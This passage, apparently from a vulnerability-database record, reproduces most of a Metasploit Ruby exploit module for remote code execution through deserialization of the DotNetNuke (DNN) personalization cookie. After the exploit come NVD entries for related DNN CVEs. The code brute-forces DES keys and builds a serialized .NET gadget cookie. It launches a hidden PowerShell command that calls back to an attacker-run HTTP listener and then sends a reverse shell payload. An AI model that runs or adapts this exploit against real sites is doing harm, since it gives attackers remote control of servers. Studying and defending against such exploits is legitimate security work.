111, 115, 116, 105, \n99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, \n83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, \n121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, \n10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97, \n114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109, \n46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50, \n32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46, \n83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83, \n116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101, \n109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83, \n121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, \n115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1, \n16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109, \n46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121, \n115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, \n111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, \n46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, \n101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, \n121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, \n52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0, \n0, 0, 9, 22, 0, 0, 0, 10, 11 \n] \n \n@cr_regex = /(?<=Copyright \\(c\\) 2002-)(\\d{4})/ \n \n# ================== \n# v9.1.1+ VARIABLES \n# ================== \n \n \n@key_charset = \"02468ABDF\" \n@verification_codes = [] \n \n@iv_regex = /[0-9A-F]{8}/ \n \n# Known plaintext \n@kpt = \"\" \n \n# Encryption objects \n@decryptor = OpenSSL::Cipher.new('des') \n@decryptor.decrypt \n \n@encryptor = OpenSSL::Cipher.new('des') \n@encryptor.encrypt \n \n# final passphrase (key +iv) to use for payload (v9.1.1+) \n@passphrase = \"\" \n \n# ================== \n# v9.2.0+ VARIABLES \n# ================== \n \n# Session token needed for exploitation (v9.2.0+) \n@session_token = \"\" \n \n# ================== \n# v9.2.2+ VARIABLES \n# ================== \n \n# User ID format (v9.2.2+) \n# Number of characters of user ID available in plaintext \n# is equal to the length of a GUID (no spaces or dashes) \n# minus (blocksize - known plaintext length). \n@user_id_pt_length = 32 - (8 - @kpt.length) \n@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/ \n \n# Plaintext found from decryption (v9.2.2+) \n@found_pt = \"\" \n \n@iv_charset = \"0123456789abcdef\" \n \n# Possible IVs used to encrypt verification codes (v9.2.2+) \n@possible_ivs = Set.new([]) \n \n# Possible keys used to encrypt verification codes (v9.2.2+) \n@possible_keys = Set.new([]) \n \n# passphrases (key + iv) values to use for payload encryption (v9.2.2+) \n@passphrases = [] \n \n# char sets to use when generating possible base keys \n@unchanged = Set.new([65,70]) \nend \n \ndef decode_verification(code) \n# Decode verification code base don DNN format \nreturn String.new( \nRex::Text.decode_base64( \ncode.chomp.gsub(\".\", \"+\").gsub(\"-\", \"/\").gsub(\"_\", \"=\") \n) \n) \nend \n \n# ============== \n# Main function \n# ============== \ndef exploit \n \nreturn unless check == Exploit::CheckCode::Appears \n \n@encrypted = datastore['ENCRYPTED'] \nverification_code = datastore['VERIFICATION_CODE'] \nif File.file?(verification_code) \nFile.readlines(verification_code).each do |code| \n@verification_codes.push(decode_verification(code)) \nend \nelse \n@verification_codes.push(decode_verification(verification_code)) \nend \n \n@kpt = datastore['VERIFICATION_PLAIN'] \n \n@session_token = datastore['SESSION_TOKEN'] \n@dry_run = datastore['DryRun'] \nkey = datastore['KEY'] \niv = datastore['IV'] \n \nif target['ReqEncrypt'] && @encrypted == false \nprint_warning(\"Target requires encrypted payload. Exploit may not succeed.\") \nend \n \nif @encrypted \n# Requires either supplied key and IV, or verification code and plaintext \nif (!key.blank? && !iv.blank?) \n@passphrase = key + iv \n# Key and IV were supplied, don't try and decrypt. \n@try_decrypt = false \nelsif (!@verification_codes.empty? && !@kpt.blank?) \n@try_decrypt = true \nelse \nfail_with(Failure::BadConfig, \"You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).\") \nend \nend \n \nif target['ReqSession'] \nif @session_token.blank? \nfail_with(Failure::BadConfig, \"Target requires a valid SESSION_TOKEN for exploitation.\") \nend \nend \n \nif @encrypted && @try_decrypt \n# Set IV for decryption as the known plaintext, manually \n# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed. \n# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time. \n# For v9.2.2+ it will find an initial base key faster than if padding were enabled. \nf8_plain = @kpt[0, 8] \nc_iv = f8_plain.unpack(\"C*\") + [8 - f8_plain.length] * (8 - f8_plain.length) \n@decryptor.iv = String.new(c_iv.pack(\"C*\")) \n@decryptor.padding = 0 \n \nkey = find_key(@verification_codes[0]) \nif key.blank? \nreturn \nend \n \nif @target_idx == 4 \n# target is v9.2.2+, requires base64 generated key and IV values. \ngenerate_base_keys(0, key.each_byte.to_a, \"\") \nvprint_status(\"Generated #{@possible_keys.size} possible base KEY values from #{key}\") \n \n# re-enable padding here as it doesn't have the \n# same performance impact when trying to find possible IV values. \n@decryptor.padding = 1 \n \nprint_warning(\"Finding possible base IVs. This may take a few minutes...\") \nstart = Time.now \nfind_ivs(@verification_codes, key) \nelapsed = Time.now - start \nvprint_status( \nformat( \n\"Found %<n_ivs>d potential Base IV values using %<n_codes>d \"\\ \n\"verification codes in %<e_time>.2f seconds.\", \nn_ivs: @possible_ivs.size, \nn_codes: @verification_codes.size, \ne_time: elapsed.to_s \n) \n) \n \ngenerate_payload_passphrases \nvprint_status(format(\"Generated %<n_phrases>d possible base64 KEY and IV combinations.\", n_phrases: @passphrases.size)) \nend \n \nif @passphrase.blank? \n# test all generated passphrases by \n# sending an exploit payload to the target \n# that will callback to an HTTP listener \n# with the index of the passphrase that worked. \n \n# set SRVHOST as LHOST value for HTTPServer mixin \ndatastore['SRVHOST'] = datastore['LHOST'] \nprint_warning(\"Trying all possible KEY and IV combinations...\") \nprint_status(\"Starting HTTP listener on port #{datastore['SRVPORT']}...\") \nstart_service \nvprint_warning(\"Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...\") \n \ntest_passphrases \n \n# If no working passphrase has been found, \n# wait to allow the the chance for the last one to callback. \nif @passphrase.empty? && !@dry_run \nsleep(wfs_delay) \nend \nif service \nstop_service \nend \nprint \"\\r\\n\" \nif !@passphrase.empty? \nprint_good(\"KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found\") \nend \nend \nend \nsend_exploit_payload \nend \n \n# ===================== \n# For the check command \n# ===================== \ndef check \nif target.name == 'Automatic' \nselect_target \nend \n \n@target_idx = Integer(datastore['TARGET']) \n \nif @target_idx == 0 \nfail_with(Failure::NoTarget, 'No valid target found or specified.') \nend \n \n# Check if 404 page is custom or not. \n# Vulnerability requires custom 404 handling (enabled by default). \nuri = normalize_uri(target_uri.path) \nprint_status(\"Checking for custom error page at: #{uri} ...\") \nres = send_request_cgi( \n'uri' => uri \n) \n \nif res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600 \nprint_good(\"Custom error page detected.\") \nelse \nprint_error(\"IIS Error Page detected.\") \nreturn Exploit::CheckCode::Safe \nend \nreturn Exploit::CheckCode::Appears \nend \n \n# =========================== \n# Auto-select target version \n# =========================== \ndef select_target \nprint_status(\"Trying to determine DNN Version...\") \n# Check for copyright version in /Documentation/license.txt \nuri = %r{^(.*[\\\\\\/])}.match(target_uri.path)[0] \nvprint_status(\"Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...\") \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(uri + 'Documentation', 'License.txt') \n) \nyear = -1 \nif res && res.code == 200 \n# License page found, get latest copyright year. \nmatches = @cr_regex.match(res.body) \nif matches \nyear = matches[0].to_i \nend \nelse \nvprint_status(\"Checking version at #{uri} ...\") \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(uri) \n) \nif res && res.code == 200 \n# Check if copyright info is in page HTML. \nmatches = @cr_regex.match(res.body) \nif matches \nyear = matches[0].to_i \nend \nend \nend \n \nif year >= 2018 \nprint_warning( \n%q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN. \nSetting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2. \nTry setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.\") \n) \ndatastore['TARGET'] = 3 \nelsif year == 2017 \nprint_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED') \ndatastore['TARGET'] = 2 \nelsif year < 2017 && year > 2008 \nprint_good(\"DNN Version Found: v5.1.0 - v9.0.1\") \ndatastore['TARGET'] = 1 \nelsif year == 2008 \nprint_warning(\"DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).\") \ndatastore['TARGET'] = 1 \nelse \nprint_warning(\"Could not determine DNN version. Target may still be vulnerable. Manually set the Target value\") \nend \nend \n \n# ============================== \n# Known plaintext attack to \n# brute-force the encryption key \n# ============================== \ndef find_key(cipher_text) \nprint_status(\"Finding Key...\") \n \n# Counter \ntotal_keys = @key_charset.length**8 \ni = 1 \n \n# Set start time \nstart = Time.now \n \n# First char \n@key_charset.each_byte do |a| \nkey = a.chr \n# 2 \n@key_charset.each_byte do |b| \nkey[1] = b.chr \n# 3 \n@key_charset.each_byte do |c| \nkey[2] = c.chr \n# 4 \n@key_charset.each_byte do |d| \nkey[3] = d.chr \n# 5 \n@key_charset.each_byte do |e| \nkey[4] = e.chr \n# 6 \n@key_charset.each_byte do |f| \nkey[5] = f.chr \n# 7 \n@key_charset.each_byte do |g| \nkey[6] = g.chr \n# 8 \n@key_charset.each_byte do |h| \nkey[7] = h.chr \nif decrypt_data_and_iv(@decryptor, cipher_text, String.new(key)) \nelapsed = Time.now - start \nprint_search_status(i, elapsed, total_keys) \nprint_line \nif @target_idx == 4 \nprint_good(\"Possible Base Key Value Found: \" + key) \nelse \nprint_good(\"KEY Found: \" + key) \nprint_good(\"IV Found: \" + @passphrase[8..-1]) \nend \nvprint_status(format(\"Total number of Keys tried: %<n_tried>d\", n_tried: i)) \nvprint_status(format(\"Time to crack: %<c_time>.3f seconds\", c_time: elapsed.to_s)) \nreturn String.new(key) \nend \n# Print timing info every 5 million attempts \nif i % 5000000 == 0 \nprint_search_status(i, Time.now - start, total_keys) \nend \ni += 1 \nend \nend \nend \nend \nend \nend \nend \nend \nelapsed = Time.now - start \nprint_search_status(i, elapsed, total_keys) \nprint_line \nprint_error(\"Key not found\") \nvprint_status(format(\"Total number of Keys tried: %<n_tried>d\", n_tried: i)) \nvprint_status(format(\"Time run: %<r_time>.3f seconds\", r_time: elapsed.to_s)) \nreturn nil \nend \n \n# ================================== \n# Attempt to decrypt a ciphertext \n# and obtain the IV at the same time \n# ================================== \ndef decrypt_data_and_iv(cipher, cipher_text, key) \ncipher.key = key \nbegin \nplaintext = cipher.update(cipher_text) + cipher.final \nif @target_idx == 4 \n# Target is v9.2.2+ \nuser_id = plaintext[8, @user_id_pt_length] \nif @user_id_regex.match(user_id) \nreturn true \nend \n \nreturn false \nend \n \n# This should only execute if the version is 9.1.1 - 9.2.1 \niv = plaintext[0, 8] \nif !@iv_regex.match(iv) \nreturn false \nend \n \n# Build encryption passphrase as DNN does. \n@passphrase = key + iv \n \n# Encrypt the plaintext value using the discovered key and IV \n# and compare with the initial ciphertext \nif cipher_text == encrypt_data(@encryptor, @kpt, @passphrase) \n@passphrases.push(String.new(key + iv)) \nreturn true \nend \nrescue StandardError \n# Ignore decryption errors to allow execution to continue \nreturn false \nend \nreturn false \nend \n \ndef print_search_status(num_tries, elapsed, max_tries) \nmsg = format(\"Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.\", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100) \nprint(\"\\r%bld%blu[*]%clr #{msg}\") \nend \n \n# =========================== \n# Encrypt data using the same \n# pattern that DNN uses. \n# =========================== \ndef encrypt_data(cipher, message, passphrase) \ncipher.key = passphrase[0, 8] \ncipher.iv = passphrase[8, 8] \nreturn cipher.update(message) + cipher.final \nend \n \n# =============================================== \n# Generate all possible base key values \n# used to create the final passphrase in v9.2.2+. \n# DES weakness allows multiple bytes to be \n# interpreted as the same value. \n# =============================================== \ndef generate_base_keys(pos, from_key, new_key) \nif !@unchanged.include? from_key[pos] \nif from_key[pos] % 2 == 0 \nnew_key[pos] = (from_key[pos] + 1).chr \nelse \nnew_key[pos] = (from_key[pos] - 1).chr \nend \n \nif new_key.length == 8 \n@possible_keys.add(String.new(new_key)) \n \n# also add key with original value \nnew_key[pos] = (from_key[pos]).chr \n@possible_keys.add(String.new(new_key)) \nelse \ngenerate_base_keys(pos + 1, from_key, String.new(new_key)) \n \n# also generate keys with original value \nnew_key[pos] = (from_key[pos]).chr \ngenerate_base_keys(pos + 1, from_key, String.new(new_key)) \nend \nelse \nnew_key[pos] = (from_key[pos]).chr \nif new_key.length == 8 \n@possible_keys.add(String.new(new_key)) \nelse \ngenerate_base_keys(pos + 1, from_key, String.new(new_key)) \nend \nend \nend \n \n# ============================================== \n# Find all possible base IV values \n# used to create the final Encryption passphrase \n# ============================================== \ndef find_ivs(cipher_texts, key) \nnum_chars = 8 - @kpt.length \nf8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/ \n \n@decryptor.key = key \nfound_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final \n# Find all possible IVs for the first ciphertext \nbrute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1]) \n \n# Reduce IV set by testing against other ciphertexts \ncipher_texts.drop(1).each do |cipher_text| \n@possible_ivs.each do |iv| \n@decryptor.iv = iv \npt = @decryptor.update(cipher_text) + @decryptor.final \nif !f8regex.match(pt[0, 8]) \n@possible_ivs.delete(iv) \nend \nend \nend \nend \n \n# ========================================== \n# A recursive function to find all \n# possible valid IV values using brute-force \n# ========================================== \ndef brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt) \ncharset = \"0123456789abcdef\" \nif num_chars_needed == 0 \n@decryptor.key = key \n@decryptor.iv = pt_prefix \npt = @decryptor.update(cipher_text) + @decryptor.final \niv = pt[0, 8] \nif @iv_regex.match(iv) \npt = pt_prefix + found_pt \nif encrypt_data(@encryptor, pt, key + iv) == cipher_text \n@possible_ivs.add(String.new(iv)) \nend \nend \nreturn \nend \ncharset.length.times do |i| \nbrute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt) \nend \nend \n \n# ======================================== \n# Generate all possible payload encryption \n# passphrases for a v9.2.2+ target \n# ======================================== \ndef generate_payload_passphrases \nphrases = Set.new(@passphrases) \n@possible_keys.each do |key| \n@possible_ivs.each do |iv| \nphrase = Rex::Text.encode_base64( \nencrypt_data(@encryptor, key + iv, key + iv) \n) \nphrases.add(String.new(phrase[0, 16])) \nend \nend \n@passphrases = phrases.to_a \nend \n \n# =========================================== \n# Test all generated passphrases by initializing \n# an HTTP server to listen for a callback that \n# contains the index of the successful passphrase. \n# =========================================== \ndef test_passphrases \nfor i in 0..@passphrases.size - 1 \n# Stop sending if we've found the passphrase \nif !@passphrase.empty? \nbreak \nend \n \nmsg = format(\"Trying KEY and IV combination %<current>d of %<total>d...\", current: i + 1, total: @passphrases.size) \nprint(\"\\r%bld%blu[*]%clr #{msg}\") \n \nurl = \"#{get_uri}?#{get_resource.delete('/')}=#{i}\" \npayload = create_request_payload(url) \ncookie = create_cookie(payload) \n \n# Encrypt cookie value \nenc_cookie = Rex::Text.encode_base64( \nencrypt_data(@encryptor, cookie, @passphrases[i]) \n) \nif @dry_run \nprint_line \nprint_warning(\"DryRun enabled. No exploit payloads have been sent to the target.\") \nprint_warning(\"Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...\") \nprint_line(enc_cookie) \nbreak \nend \nexecute_command(enc_cookie, host: datastore['RHOST']) \nend \nend \n \n# =============================== \n# Request handler for HTTP server. \n# ============================== \ndef on_request_uri(cli, request) \n# Send 404 to prevent scanner detection \nsend_not_found(cli) \n \n# Get found index - should be the only query string parameter \nif request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s] \nindex = request.qstring[get_resource.delete('/').to_s].to_i \n@passphrase = String.new(@passphrases[index]) \nend \nend \n \n# ============================================== \n# Create payload to callback to the HTTP server. \n# Note: This technically exploits the \n# vulnerability, but provides a way to determine \n# the valid passphrase needed to exploit again. \n# ============================================== \ndef create_request_payload(url) \npsh_cmd = \"/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \\\"Invoke-WebRequest '#{url}'\\\"\" \npsh_cmd_bytes = psh_cmd.bytes.to_a \n \ncmd_size_bytes = write_encoded_int(psh_cmd.length) \n \n# Package payload into serialized object \npayload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end \n \nobject_size = write_encoded_int(payload_object.length) \n \n# Create the final seralized ObjectStateFormatter payload \nfinal_payload = @osf_header + object_size + payload_object \n \nb64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\")) \nreturn b64_payload \nend \n \n# ============================================= \n# Reproduce the WriteEncoded method in \n# the native .NET ObjectStateFormatter.cs file. \n# ============================================= \ndef write_encoded_int(value) \nenc = [] \nwhile (value >= 0x80) \nv = value | 0x80 \nenc.push([v].pack(\"V\")[0].unpack1(\"C*\")) \nvalue >>= 7 \nend \nenc.push([value].pack(\"V\")[0].unpack1(\"C*\")) \nreturn enc \nend \n \n# ================================= \n# Creates the payload cookie \n# using the specified payload \n# ================================= \ndef create_cookie(payload) \ncookie = \"<profile>\"\\ \n\"<item key=\\\"k\\\" type=\\\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, \"\\ \n\"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],\"\\ \n\"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, \"\\ \n\"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, \"\\ \n\"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\\\">\"\\ \n\"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>\"\\ \n\"<ProjectedProperty0>\"\\ \n\"<MethodName>Deserialize</MethodName>\"\\ \n\"<MethodParameters>\"\\ \n\"<anyType xmlns:i=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" \"\\ \n\"xmlns:d=\\\"http://www.w3.org/2001/XMLSchema\\\" i:type=\\\"d:string\\\" \"\\ \n\">#{payload}</anyType>\"\\ \n\"</MethodParameters>\"\\ \n\"<ObjectInstance xmlns:i=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" \"\\ \n\"i:type=\\\"ObjectStateFormatter\\\" />\"\\ \n\"</ProjectedProperty0>\"\\ \n\"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>\"\\ \n\"</item>\"\\ \n\"</profile>\" \nreturn cookie \nend \n \n# ========================================= \n# Send the payload to the target server. \n# ========================================= \ndef execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port }) \nuri = normalize_uri(target_uri.path) \n \nres = send_request_cgi( \n'uri' => uri, \n'cookie' => \".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};\" \n) \nif !res \nfail_with(Failure::Unreachable, \"#{opts[:host]} - target unreachable.\") \nelsif res.code == 404 \nreturn true \nelsif res.code == 400 \nfail_with(Failure::BadConfig, \"#{opts[:host]} - payload resulted in a bad request - #{res.body}\") \nelse \nfail_with(Failure::Unknown, \"#{opts[:host]} - Something went wrong- #{res.body}\") \nend \nend \n \n# ====================================== \n# Create and send final exploit payload \n# to obtain a reverse shell. \n# ====================================== \ndef send_exploit_payload \ncmd_payload = create_payload \ncookie_payload = create_cookie(cmd_payload) \nif @encrypted \nif @passphrase.blank? \nprint_error(\"Target requires encrypted payload, but a passphrase was not found or specified.\") \nreturn \nend \ncookie_payload = Rex::Text.encode_base64( \nencrypt_data(@encryptor, cookie_payload, @passphrase) \n) \nend \nif @dry_run \nprint_warning(\"DryRun enabled. No exploit payloads have been sent to the target.\") \nprint_warning(\"Printing exploit cookie payload...\") \nprint_line(cookie_payload) \nreturn \nend \n \n# Set up the payload handlers \npayload_instance.setup_handler \n \n# Start the payload handler \npayload_instance.start_handler \n \nprint_status(\"Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...\") \nexecute_command(cookie_payload, host: datastore['RHOST']) \nend \n \n# =================================== \n# Create final exploit paylod based on \n# supplied payload options. \n# =================================== \ndef create_payload \n# Create payload \npsh_cmd = \"/b /c start /b /min \" + cmd_psh_payload( \npayload.encoded, \npayload_instance.arch.first, \nremove_comspec: true, encode_final_payload: false \n) \n \npsh_cmd_bytes = psh_cmd.bytes.to_a \ncmd_size_bytes = write_encoded_int(psh_cmd.length) \n \n# Package payload into serialized object \npayload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end \nobject_size = write_encoded_int(payload_object.length) \n \n# Create the final seralized ObjectStateFormatter payload \nfinal_payload = @osf_header + object_size + payload_object \nb64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\")) \n \nvprint_status(\"Payload Object Created.\") \n \nreturn b64_payload \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/157080/dnn_cookie_deserialization_rce.rb.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-03-23T14:52:16", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 incorrectly converts encryption key source values, resulting in lower than expected entropy. NOTE: this issue exists because of an incomplete fix for CVE-2018-15812.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-03T17:15:00", "type": "cve", "title": "CVE-2018-18326", "cwe": ["CWE-331"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15812", "CVE-2018-18326"], "modified": "2020-08-24T17:37:00", "cpe": ["cpe:/a:dnnsoftware:dotnetnuke:9.2.2"], "id": "CVE-2018-18326", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-18326", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:dnnsoftware:dotnetnuke:9.2.2:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T14:52:15", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters. NOTE: this issue exists because of an incomplete fix for CVE-2018-15811.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-03T17:15:00", "type": "cve", "title": "CVE-2018-18325", "cwe": ["CWE-326"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811", "CVE-2018-18325"], "modified": "2020-04-03T05:15:00", "cpe": ["cpe:/a:dnnsoftware:dotnetnuke:9.2.2"], "id": "CVE-2018-18325", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-18325", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:dnnsoftware:dotnetnuke:9.2.2:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T13:47:56", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 incorrectly converts encryption key source values, resulting in lower than expected entropy.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-07-03T17:15:00", "type": "cve", "title": "CVE-2018-15812", "cwe": ["CWE-331"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15812"], "modified": "2020-08-24T17:37:00", "cpe": ["cpe:/a:dnnsoftware:dotnetnuke:9.2.1"], "id": "CVE-2018-15812", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-15812", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:dnnsoftware:dotnetnuke:9.2.1:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T19:00:23", "description": "DNN (aka DotNetNuke) before 9.1.1 has Remote Code Execution via a cookie, aka \"2017-08 (Critical) Possible remote code execution on DNN sites.\"", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-07-20T12:29:00", "type": "cve", "title": "CVE-2017-9822", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2020-04-03T05:15:00", "cpe": ["cpe:/a:dnnsoftware:dotnetnuke:9.1.0"], "id": "CVE-2017-9822", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-9822", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:dnnsoftware:dotnetnuke:9.1.0:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T13:47:56", 